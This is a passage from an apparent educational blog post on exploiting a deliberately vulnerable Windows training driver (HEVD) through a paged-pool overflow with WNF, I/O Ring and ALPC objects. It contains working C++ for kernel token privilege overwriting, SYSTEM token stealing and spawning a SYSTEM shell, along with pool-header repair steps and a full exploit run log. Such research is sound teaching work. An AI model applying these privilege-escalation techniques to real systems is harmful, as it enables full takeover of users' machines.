printf("\t[-] Current EPROCESS PID mismatch. Expected=%lu Got=%llu\n",
GetCurrentProcessId(),
currentPid);
return false;
}
printf("\t[+] Our EPROCESS: 0x%016llX PID=%llu Image='%s'\n",
g_currentEprocess,
currentPid,
currentImageName);
if (!ReadKernel64(g_currentEprocess + EPROCESS_TOKEN_OFFSET, g_currentToken)) {
printf("\t[-] Failed to read current EPROCESS.Token\n");
return false;
}
ULONG64 current = g_currentEprocess;
// Find winlogon PID. We could do it with legit API calls, but this is way cooler.
for (int i = 0; i != EPROCESS_WALK_LIMIT; i++) {
ULONG64 pid = 0;
ULONG64 flink = 0;
char imageName[EPROCESS_IMAGEFILENAME_SIZE + 1] = {};
if (!ReadKernel64(current + EPROCESS_UNIQUEPROCESSID_OFFSET, pid)) {
return false;
}
ReadKernelBuffer(
current + EPROCESS_IMAGEFILENAME_OFFSET,
imageName,
EPROCESS_IMAGEFILENAME_SIZE
);
if (strcmp(imageName, "winlogon.exe") == 0) {
g_winlogonPid = pid;
break;
}
if (!ReadKernel64(current + EPROCESS_ACTIVEPROCESSLINKS_OFFSET, flink)) {
return false;
}
current = flink - EPROCESS_ACTIVEPROCESSLINKS_OFFSET;
if (!IsKernelPointer(current) || current == g_currentEprocess) {
break;
}
}
if (!g_winlogonPid) {
printf("\t[-] winlogon.exe not found in ActiveProcessLinks walk\n");
return false;
}
printf("\t[+] Our Token: 0x%016llX\n", g_currentToken);
printf("\t[+] Winlogon PID: %llu\n", g_winlogonPid);
return true;
}
- Write
0xFFFFFFFFFFFFFFFFinto_TOKEN.Privileges.Presentand_TOKEN.Privileges.Enabledto getSeDebugPrivilege, among others.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
static bool EnableOurTokenPrivileges()
{
ULONG64 currentTokenObject = g_currentToken & ~EX_FAST_REF_MASK;
ULONG64 tokenPrivileges = currentTokenObject + TOKEN_PRIVILEGES_OFFSET;
ULONG64 before[2] = {};
ULONG64 after[2] = {};
ULONG64 privileges[2] = {
TOKEN_PRIVILEGES_ENABLE_ALL,
TOKEN_PRIVILEGES_ENABLE_ALL
};
printf("\t[+] Our TOKEN object address: 0x%016llX\n", currentTokenObject);
if (!ReadKernelBuffer(tokenPrivileges, before, sizeof(before))) {
printf("\t[-] Failed to read TOKEN.Privileges before write\n");
}
else {
printf("\t[+] Our TOKEN.Privileges before: P: 0x%016llX, E: 0x%016llX\n",
before[0],
before[1]);
}
if (!WriteKernelBuffer(tokenPrivileges, privileges, sizeof(privileges))) {
printf("\t[-] Failed to overwrite our TOKEN.Privileges\n");
return false;
}
Sleep(100);
if (!ReadKernelBuffer(tokenPrivileges, after, sizeof(after))) {
printf("\t[-] Failed to read our TOKEN.Privileges after write\n");
}
else {
printf("\t[+] Our TOKEN.Privileges after: P: 0x%016llX, E: 0x%016llX\n",
after[0],
after[1]);
}
return true;
}
- With this, our token privileges are modified in such a way that we can execute the chain mentioned earlier, open
winlogon.exewith thePROCESS_CREATE_PROCESSaccess right, and spawn a shell as SYSTEM.
And this is where EoP route using ParentSpoofing ends.
Privilege escalation technique 2: Token Stealing
This technique also has to do with the token of our _EPROCESS, but it is conceptually different. In Parent Spoofing we modified the privileges of our own token to gain capabilities. Here, what we are going to do is replace our token with the token of another process, in this case System, PID 4. I already explained this technique in more depth in another blog, although there it was done through shellcode instead of arbitrary read/write. Conceptually it is the same, so this part will be brief. We will do the following:
Read our
_EPROCESSfrom_KALPC_RESERVE.OwnerPortand walkActiveProcessLinksto find theSystemprocess. This process always has PID 4, so it is easy to identify.Get the addresses of our token and the system token.
These first two steps:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
static bool DiscoverEprocesses()
{
if (!ReadKernel64(g_alpcPortAddr + ALPC_PORT_OWNER_PROCESS_OFFSET, g_currentEprocess) ||
!IsKernelPointer(g_currentEprocess)) {
printf("\t[-] Failed to read valid ALPC_PORT.OwnerProcess\n");
return false;
}
ULONG64 currentPid = 0;
char currentImageName[EPROCESS_IMAGEFILENAME_SIZE + 1] = {};
if (!ReadKernel64(g_currentEprocess + EPROCESS_UNIQUEPROCESSID_OFFSET, currentPid)) {
printf("\t[-] Failed to read current EPROCESS.UniqueProcessId\n");
return false;
}
ReadKernelBuffer(
g_currentEprocess + EPROCESS_IMAGEFILENAME_OFFSET,
currentImageName,
EPROCESS_IMAGEFILENAME_SIZE
);
printf("\t[+] Our EPROCESS: 0x%016llX PID=%llu Image='%s'\n",
g_currentEprocess,
currentPid,
currentImageName);
if (static_cast<DWORD>(currentPid) != GetCurrentProcessId()) {
printf("\t[-] Current EPROCESS PID mismatch. Expected=%lu Got=%llu\n",
GetCurrentProcessId(),
currentPid);
return false;
}
if (!ReadKernel64(g_currentEprocess + EPROCESS_TOKEN_OFFSET, g_currentToken)) {
printf("\t[-] Failed to read current EPROCESS.Token\n");
return false;
}
ULONG64 current = g_currentEprocess;
for (int i = 0; i != EPROCESS_WALK_LIMIT; i++) {
ULONG64 pid = 0;
ULONG64 flink = 0;
if (!ReadKernel64(current + EPROCESS_UNIQUEPROCESSID_OFFSET, pid)) {
printf("\t[-] Failed to read EPROCESS.UniqueProcessId\n");
return false;
}
if (pid == 4) {
g_systemEprocess = current;
if (!ReadKernel64(current + EPROCESS_TOKEN_OFFSET, g_systemToken)) {
printf("\t[-] Failed to read SYSTEM EPROCESS.Token\n");
return false;
}
break;
}
if (!ReadKernel64(current + EPROCESS_ACTIVEPROCESSLINKS_OFFSET, flink)) {
printf("\t[-] Failed to read ActiveProcessLinks.Flink\n");
return false;
}
current = flink - EPROCESS_ACTIVEPROCESSLINKS_OFFSET;
if (!IsKernelPointer(current) || current == g_currentEprocess) {
break;
}
}
if (!g_systemEprocess || !g_systemToken) {
printf("\t[-] SYSTEM EPROCESS/token not found\n");
return false;
}
printf("\t[+] SYSTEM EPROCESS: 0x%016llX\n", g_systemEprocess);
printf("\t[+] Our Token: 0x%016llX\n", g_currentToken);
printf("\t[+] SYSTEM Token: 0x%016llX\n", g_systemToken);
return true;
}
- Replace our
EPROCESS.Tokenwith the token of theSystemprocess, keeping our refcount to avoid problems.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static bool StealSystemToken()
{
ULONG64 tokenTarget = g_currentEprocess + EPROCESS_TOKEN_OFFSET;
ULONG64 currentRefBits = g_currentToken & EX_FAST_REF_MASK;
ULONG64 systemTokenObject = g_systemToken & ~EX_FAST_REF_MASK;
ULONG64 tokenToWrite = systemTokenObject | currentRefBits;
printf("\t[+] Token to write: 0x%016llX\n", tokenToWrite);
printf("\t[+] Our current EPROCESS.Token before: 0x%016llX\n", g_currentToken);
if (!WriteKernelBuffer(tokenTarget, &tokenToWrite, sizeof(tokenToWrite))) {
printf("\t[-] Failed to write current EPROCESS.Token through I/O Ring\n");
return false;
}
ULONG64 tokenAfter = 0;
if (!ReadKernel64(tokenTarget, tokenAfter)) {
printf("\t[-] Failed to read current EPROCESS.Token after write\n");
return false;
}
printf("\t[+] Our current EPROCESS.Token after: 0x%016llX\n", tokenAfter);
return true;
}
- Spawn a shell that inherits our privileges, which are now the privileges of the SYSTEM token.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static bool SpawnSystemShell()
{
WCHAR cmdLine[MAX_PATH] = {};
GetSystemDirectoryW(cmdLine, MAX_PATH);
wcscat_s(cmdLine, L"\\cmd.exe");
STARTUPINFOW si = {};
PROCESS_INFORMATION pi = {};
si.cb = sizeof(si);
BOOL ok = CreateProcessW(
nullptr,
cmdLine,
nullptr,
nullptr,
FALSE,
CREATE_NEW_CONSOLE,
nullptr,
nullptr,
&si,
&pi
);
if (!ok) {
printf("\t[-] CreateProcessW failed. Error: 0x%08lX\n", GetLastError());
return false;
}
printf("\t[+] SYSTEM shell spawned. PID: %lu\n", pi.dwProcessId);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return true;
}
SYSTEM shell acquired!
And with that the EoP route using TokenStealing ends.
Cleanup
We already have our shell as SYSTEM, but we cannot leave things like this with all the mess we caused along the way. Right now we have two WNF_STATE_DATA objects whose _HEAP_VS_CHUNK_HEADER and _POOL_HEADER are completely overwritten with 0xEE, plus the first entry of the _IORING_OBJECT.RegBuffers array pointing to our fake structure in usermode. If we do not leave this in a minimally decent state, the kernel will bugcheck.
Still, if we already executed the EoP successfully and with the primitive we have, this should not be a problem. First we will fix the corrupted headers of the WNF_STATE_DATA chunks using the I/O Ring primitive, and then we will fix the _IORING_OBJECT.RegBuffers array. After that we can close the program without being afraid of bugchecking.
In this section of the post I will not show code, because this section is secondary to the goal of the blog, which was explaining the objects and their primitives, although it is still a fundamental part of an exploit. So I will explain things theoretically. In any case, I will link the code at the end of the blog.
1. Swimming in the paged pool for our corrupted WNFs
The first thing we need to restore the headers of the corrupted WNF chunks is their location in memory. For the one previous to the ALPC handle array, we have it easy. From our _KALPC_RESERVE we leaked OwnerPort to find the _ALPC_PORT and leak our _EPROCESS, and we also saved HandleTable, I told you it would be useful. HandleTable points back to the ALPC handle array, so we only need to follow that value and we will reach the handle array whose previous chunk is our corrupted WNF_STATE_DATA.
Finding the WNF_STATE_DATA previous to RegBuffers is a bit more complicated. We do not have any leak telling us where that array is in memory. If the technique used for the EoP was token stealing, now our process has the SYSTEM token, so we could use NtQuerySystemInformation to get the address of the _IORING_OBJECT that has the corrupted RegBuffers, because we previously located which of our HIORING handles is the corrupted one. However, if we used Parent Spoofing, our token has not changed and NtQuerySystemInformation is not useful, so we need another way.
This other way is a bit twisted and not very fun, but it works. What we are going to do is use our read primitive to manually “simulate” what ObReferenceObjectByHandle would do, which is a kernel only function. We will manually walk kernel structures so that starting from the HIORING we identified in usermode, we can find our _IORING_OBJECT with the modified RegBuffers, and from there reach the previous corrupted WNF. Let us see how to do this:
Read our
EPROCESS.ObjectTable, offset0x300, which is a pointer to a_HANDLE_TABLEstructure.Extract the handle from our
HIORING, which we know corresponds to the corrupted_IORING_OBJECT. The handle is at offset0x00.Read
_HANDLE_TABLE.TableCode, offset0x08. This field packs two things:
- The low bits indicate the table level.
- The rest is the table base.
1
2
tableLevel = TableCode & 0x3
tableBase = TableCode & ~0x3
Let us see what this would look like with an example:
1
2
3
4
5
6
current EPROCESS = FFFF9D85`4A12D080
EPROCESS.ObjectTable = *(FFFF9D85`4A12D080 + 0x300)
= FFFF9D85`3F2E1040
_HANDLE_TABLE.TableCode = *(FFFF9D85`3F2E1040 + 0x08)
= FFFF9D85`51A67001
1
2
tableLevel = 1
tableBase = FFFF9D85`51A67000
- Convert the usermode handle into a handle table index. The handle is not a pointer to the object. It is basically an index encoded inside the process handle table.
1
handleIndex = (handleValue & ~0x3) >> 2
1
2
3
4
5
6
Corrupted HIORING = 00000231`8E920000
handleValue = *(HIORING + 0x00)
= 0x00000000000006F4
handleIndex = (0x6F4 & ~3) >> 2
= 0x1BD
- Depending on
tableLevel, locate the_HANDLE_TABLE_ENTRY.
If tableLevel == 0, the table is direct.
If tableLevel == 1, first we have to read a leaf table:
1
2
3
leafTablePointer = tableBase + ((handleIndex >> 8) * 8)
leafTable = *leafTablePointer
entryAddress = leafTable + ((handleIndex & 0xFF) * 0x10)
Example:
1
2
3
4
5
6
7
8
9
10
11
12
tableBase = FFFF9D85`51A67000
handleIndex = 0x1BD
leafTablePointer = FFFF9D85`51A67000 + (0x1BD >> 8) * 8
= FFFF9D85`51A67008
leafTable = *(FFFF9D85`51A67008)
= FFFF9D85`55C80000
entryAddress = FFFF9D85`55C80000 + (0x1BD & 0xFF) * 0x10
= FFFF9D85`55C80000 + 0xBD0
= FFFF9D85`55C80BD0
If tableLevel == 2, there is a root table, an intermediate table and a leaf:
1
2
3
4
5
midTablePointer = tableBase + ((handleIndex >> 17) * 8)
midTable = *midTablePointer
leafTablePointer = midTable + (((handleIndex >> 8) & 0x1FF) * 8)
leafTable = *leafTablePointer
entryAddress = leafTable + ((handleIndex & 0xFF) * 0x10)
- Read the first qword of the
_HANDLE_TABLE_ENTRY.
1
lowValue = *(entryAddress)
Example:
1
2
3
4
5
6
7
entryAddress = FFFF9D85`55C80BD0
memory:
FFFF9D85`55C80BD0: 9D8558B4`6120001F
FFFF9D85`55C80BD8: 00000000`001F0003
lowValue = 9D8558B4`6120001F
- Decode
ObjectPointerBits.
1
2
objectPointerBits = (lowValue >> 20) & 0x00000FFFFFFFFFFF
objectHeader = Canonicalize48(objectPointerBits << 4)
Example:
1
2
3
4
5
6
7
lowValue = 9D8558B4`6120001F
objectPointerBits = (lowValue >> 20) & 0x00000FFFFFFFFFFF
= 00000FFF`9D8558B4
objectPointerBits << 4
= 0000FFF9`D8558B40
Now we have to canonicalize the pointer. On x64, if bit 47 is 1, bits 63..48 must also be 1, that is, sign extend:
1
2
3
4
5
0000FFF9`D8558B40
OR
FFFF0000`00000000
=
FFFF9D85`58B46120
That result points to the OBJECT_HEADER, not to the object yet.
- Add the
OBJECT_HEADERsize to reach the real object body.
1
OBJECT_HEADER_BODY_OFFSET = 0x30
Example:
1
2
3
4
objectHeader = FFFF9D85`58B46120
IORING_OBJECT = objectHeader + 0x30
= FFFF9D85`58B46150
This is already our _IORING_OBJECT.
Yes, I know, it is a bit cumbersome. But now we can locate _IORING_OBJECT.RegBuffers and reach our corrupted WNF_STATE_DATA.
2. Fixing the _HEAP_VS_CHUNK_HEADER and _POOL_HEADER of both WNF_STATE_DATA objects
Now that we have located both WNF_STATE_DATA objects with corrupted chunk headers, we need to restore them before closing handles or letting the process end. If we do not, the heap/pool may try to walk or free chunks with inconsistent metadata and end in a bugcheck.
In my case I restore them completely for simplicity. To do that, I search in the same memory page for another healthy WNF chunk, read its headers and use them as a template. We cannot just copy everything byte by byte because some fields are encoded with the address of the chunk itself. Those fields must be recalculated for the address of the corrupted WNF.
Remember that each chunk has two headers, and both have to be restored:
1
2
3
_HEAP_VS_CHUNK_HEADER // 0x10 bytes
_POOL_HEADER // 0x10 bytes
WNF_STATE_DATA // body
Since the WNF objects were sprayed with the same size, neighboring chunks in the same page are separated by 0x220 bytes. Starting from the corrupted WNF_STATE_DATA, we search backward and forward inside the same page until we find a healthy WNF chunk, checking the tag, and we copy the 0x20 bytes of headers so we have them as a template and can modify them.
Restoring _HEAP_VS_CHUNK_HEADER
The _HEAP_VS_CHUNK_HEADER is 0x10 bytes:
1
2
+0x00 qword0 -> _HEAP_VS_CHUNK_HEADER_SIZE
+0x08 qword1 -> AllocatedChunkBits / flags
The first qword is encoded like this:
1
Chunk->Sizes(encoded) = Chunk->Sizes(decoded) ^ ChunkAddr ^ RtlpHpHeapGlobals
What we will do is keep the original content but reencode it with the address of the chunk we want to restore:
1
ourRestoredQword0 = template.Sizes ^ template.VsHeader(address) ^ ourVsHeaderStart;
The second qword is copied almost entirely, but its low byte, EncodedSegmentPageOffset, is encoded and depends on the low byte of the first qword. That is why we calculate a key from the template:
1
templateKey = (templateQword0 & 0xFF) ^ (templateQword1 & 0xFF);
And rebuild the second qword like this:
1
restoredQword1 = (templateQword1 & ~0xFF) | ((restoredQword0 & 0xFF) ^ templateKey);
In other words, we copy all bytes from the healthy chunk except the last one, which we recalculate with the key and our previously decoded first qword.
Restoring _POOL_HEADER
The _POOL_HEADER is also 0x10 bytes.
The first DWORD contains several packed fields:
1
2
3
4
byte 0 -> PreviousSize
byte 1 -> PoolIndex / internal pool byte
byte 2 -> BlockSize
byte 3 -> PoolType
The values we will put are the following:
1
2
3
4
PreviousSize -> 0 (currently not used)
PoolIndex -> keep the current byte from the victim chunk. It is not really ours, but it does not matter because it is not currently used.
BlockSize -> 0x21 (same as the other WNF chunks)
PoolType -> 0xB (same as the other WNF chunks)
We could actually modify PoolType to disable the PoolQuota bit, bit 3, that is 0x8, and avoid having to deal with ProcessBilled, but since we are restoring the headers as they were (or almost) in this case I decided to leave it enabled. There is no special reason for this decision.
Then we restore the tag:
1
PoolTag = 'Wnf ' (0x20666E57)
ProcessBilled is encoded like this:
1
EncodedProcessBilled = EPROCESS ^ quotaCookie ^ PoolHeaderAddress
Since we have a healthy WNF chunk, we can recover the cookie:
1
quotaCookie = templateEncodedProcessBilled ^ currentEprocess ^ templatePoolHeaderAddress;
And then reencode the value for the corrupted WNF:
1
victimEncodedProcessBilled = currentEprocess ^ quotaCookie ^ victimPoolHeaderAddress;
3. Restoring the I/O Ring corruption
We need to do something so that the first entry we corrupted in the RegBuffers array does not make us bugcheck. For this, we need to do at least one of these things, or both: set _IORING_OBJECT.RegBuffersCount to 0 and the RegBuffers array pointer to NULL, so I/O Ring understands that it has no buffers and does not touch that part, avoiding the crash, or simply use WNF OOB write again to modify the first array entry back to its original value. Both options are valid, so I will use the second one for simplicity.
After this cleanup, which is not that much, we can close the program without Windows scolding us with a BSOD. Note that we did not restore the corrupted data in our WNF_STATE_DATA objects that gave us OOB read/write. This is not necessary because it does not cause a crash, but it could have been done with the I/O Ring read/write.
Final chain
With this, we have the full exploitation chain complete, although there are a few minor details I did not mention earlier, so I will do it now.
- Before starting any spray, we prepare the objects to avoid delays during the spray that could degrade the pool grooming. We precreate the I/O Ring objects (remember this does not allocate
RegBuffers), the pipes needed to operate the I/O Ring primitive, and the ALPC objects. For the latter, we also preexpand their handle arrays (adding 32 entries) so that when spraying them we only need to add one entry to each one, making them reallocate into the size we want as fast as possible. - I left some rest time between spray rounds so memory can settle, because while debugging I saw that sometimes objects from different rounds overlapped and the expected layout was not achieved. It also helps with the output reading.
- I also allowed some time between the allocation of the vulnerable objects (I/O Ring/ALPC) and their leakage, since there were times when the read occurred before the kernel had allocated the structures, causing the exploit to fail.
- I added conditions in the cleanup path so that, if WNF or
RegBuffersrestoration fails, the program stays in an infinite loop instead of closing and crashing the system. In my tests cleanup has never failed, but just in case.
The full chain would look like this:
FIRST SPRAY ROUND (I/O Ring)
1
2
3
4
5
6
7
8
9
10
Stage00_PreCreateIoRingObjects
Stage01_PreCreateIoRingPrimitivePipes
Stage02_CreateAndPreExpandAlpc
Stage03_CreateAllWnfNamesFirstRound
Stage04_UpdateAllWnfFirstRound
Stage05_CreateHolesFirstRound
Stage06_TriggerOverflowFirstRound
Stage07_SprayIoRingIopMcBuffers
Stage08_LeakAndCorruptIoRingIopMcBufferEntry
Stage09_ResolveCorruptedIoring
SECOND SPRAY ROUND (ALPC)
1
2
3
4
5
6
Stage10_CreateAllWnfNamesSecondRound
Stage11_UpdateAllWnfSecondRound
Stage12_CreateHolesSecondRound
Stage13_TriggerOverflowSecondRound
Stage14_SprayAlpcHandleTables
Stage15_LeakKalpcReserveToLeakEprocess
ONE OF THESE 2 EOP ROUTES
EOP (ParentSpoofing edition)
1
2
3
ParentSpoofing00_DiscoverAllNeededEprocess
ParentSpoofing01_EnableOurTokenPrivileges
ParentSpoofing02_SpawnSystemShellWinlogonParent
EOP (Token Stealing edition)
1
2
3
TokenStealing00_DiscoverAllNeededEprocess
TokenStealing01_StealSystemToken
TokenStealing02_SpawnSystemShell
CLEANUP
1
2
3
4
Cleanup00_ResolveCorruptedWnf
Cleanup01_RestoreCorruptedWnfChunkHeaders
Cleanup02_RestoreCorruptedRegBuffersEntry
CommonCleanup
You can find the final code in my GitHub.
In the final exploit code you can choose the EoP type with the --eop parameter, spoofing or stealing. It also distinguishes between two allocation versions with --alloc, small or large. The small one is the normal HEVD path, which makes allocations of size 504, while the large one is for a modified HEVD that allocates 0x1000 bytes. You will have to modify and compile HEVD to use that option. Therefore, in the final exploit IO_RING_plus_ALPC_exploit.cpp, you must choose one allocation option as well as one EoP option.
If you are going to test the exploit in a VM, I recommend booting/restoring it and letting it rest for at least 5 minutes before running the exploit. During that time it seems like a lot of things happen in memory and the exploit commonly fails. The 0x1000 version tries to avoid that, since such large allocations seem to work better and for me it works even right after booting the VM, although in that route there is no WNF header restoration because 0x1000 allocations do not have chunk headers, they are tracked elsewhere.
Also keep in mind that I am not the best pool groomer (if that is even how you say it) in the world, not even close, so the exploit may fail from time to time. I encourage you to try it several times. On top of that, in the 504 byte chunk version, 0x200, when adding the headers we get 0x220 chunks, which are not a multiple of a page, 0x1000, so if we get unlucky and the HEVD chunk that performs the overflow lands at the end of the page, there will not be room for the WNF and you will crash.
If we run the exploit. BAM! SYSTEM shell
The full output is this (parent spoofing version):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
PS C:\Users\Rotce\Desktop> .\IO_RING_plus_ALPC_exploit.exe --alloc small --eop spoofing
=====================================================
HEVD PagedPool Overflow Exploit
I/O Ring Primitive + ALPC leak Edition
=====================================================
[+] HEVD handle: 0x00000000000000EC
[+] All NTDLL functions resolved successfully
=====================================================
First Spray Round: Corrupt I/O Ring RegBuffers
=====================================================
[#] Stage 00: Pre create I/O Ring objects
[#] Stage 01: Pre create I/O Ring primitive pipes
[#] Stage 02: Create and pre expand ALPC ports
[#] Stage 03: Create first round of WNF names
[#] Stage 04: Update first round of WNF data
[#] Stage 05: Create first round of WNF holes
[#] Stage 06: Trigger first round HEVD overflow
[#] Stage 07: Spray I/O Ring registered buffers
[#] Stage 08: Leak and corrupt I/O Ring RegBuffers[0]
[+] Original RegBuffers[0]: 0xFFFFD20332C712E0
[#] Stage 09: Resolve corrupted I/O Ring
=========== FIRST ROUND COMPLETED ===========
Waiting a few seconds for the memory to stabilize...
=====================================================
Second Spray Round: Leak ALPC Handle Entry
=====================================================
[#] Stage 10: Create second round WNF names
[#] Stage 11: Update second round WNF data
[#] Stage 12: Create second round WNF holes
[#] Stage 13: Trigger second round HEVD overflow
[#] Stage 14: Spray ALPC handle tables
[#] Stage 15: Leak KALPC
[+] ALPC_PORT: 0xFFFFD20330FC12D0
[+] ALPC_HANDLE_TABLE: 0xFFFFE50A09570AF8
=========== SECOND ROUND COMPLETED ===========
Preparing for the EoP...
=====================================================
Road to SYSTEM: Parent Spoofing Technique
=====================================================
[#] ParentSpoofing 00: Discover all needed EPROCESS
[+] Our EPROCESS: 0xFFFFD203314560C0 PID=2636 Image='IO_RING_plus_A'
[+] Our Token: 0xFFFFE50A075A606D
[+] Winlogon PID: 816
[#] ParentSpoofing 01: Enable our TOKEN privileges
[+] Our TOKEN object address: 0xFFFFE50A075A6060
[+] Our TOKEN.Privileges before: P: 0x0000000602880000, E: 0x0000000000800000
[+] Our TOKEN.Privileges after: P: 0xFFFFFFFFFFFFFFFF, E: 0xFFFFFFFFFFFFFFFF
[#] ParentSpoofing 02: Spawn shell using winlogon parent spoofing
[+] Spawned cmd.exe with winlogon as parent. PID: 10800
=========== EOP COMPLETED ===========
Starting repair cleanup...
=====================================================
Small allocation cleanup
=====================================================
[#] SmallCleanup 00: Resolve WNF adjacent kernel bodies
[+] I/O Ring RegBuffers body: 0xFFFFE50A0F6C2CD0
[+] ALPC Handles body: 0xFFFFE50A0FEB9670
[#] SmallCleanup 01: Restore corrupted WNF chunk headers
[+] Restoring headers of the chunk WNF previous to RegBuffers array
[+] Restored WNF _POOL_HEADER: 0xFFFFE50A0F6C2AA0
[+] Restored WNF _HEAP_VS_CHUNK_HEADER: 0xFFFFE50A0F6C2A90
[+] Restoring headers of the chunk WNF previous to Alpc Handles array
[+] Restored WNF _POOL_HEADER: 0xFFFFE50A0FEB9440
[+] Restored WNF _HEAP_VS_CHUNK_HEADER: 0xFFFFE50A0FEB9430
[#] SmallCleanup 02: Restore original WNF RegBuffers entry
[+] Original WNF RegBuffers entry restored
=========== CLEANUP DONE ===========
Enjoy the shell ;)
Bibliography and Conclusion
And that brings this post on exploitation techniques to an end. It’s great that researchers discover these techniques and objects and share them with the community, breaking down and explaining how to exploit them. This has been my own small contribution to that community; while blogs and papers about these techniques already exist, I’ve tried to explain them in the most pragmatic way possible. In the future, I might decide to write about the PagedPool sibling, the NonPagedPool, and the use of pipes to exploit it, which are very interesting and versatile objects for exploitation.
Some good resources to delve deeper into the topics covered in this post:
- One I/O Ring to Rule Them All
- I/O Rings – When One I/O Operation is Not Enough
- Exploiting the Windows Kernel (NTFS with WNF) – Part 1
- Exploiting the Windows Kernel (NTFS with WNF) – Part 2
- Exploiting Reversing (ER) series: article 06
- Exploiting Reversing (ER) series: article 07
- Exploiting Reversing (ER) series: article 08
- Exploiting Reversing (ER) series: article 09
That’s all for now. Hope you found this useful! And remember,
